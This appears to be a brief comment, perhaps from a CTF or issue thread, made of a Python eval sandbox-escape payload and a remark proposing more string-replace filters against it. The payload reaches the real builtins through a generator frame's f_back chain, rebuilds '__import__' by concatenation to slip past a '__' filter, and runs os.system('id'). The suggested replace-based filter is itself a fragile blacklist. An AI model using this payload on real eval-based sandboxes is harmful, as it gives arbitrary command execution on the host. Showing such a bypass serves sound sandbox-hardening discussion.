eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})
I must missed lots of CTF lessons.
How about adding another .replace('﹍','').replace('gi_frame', '') ?
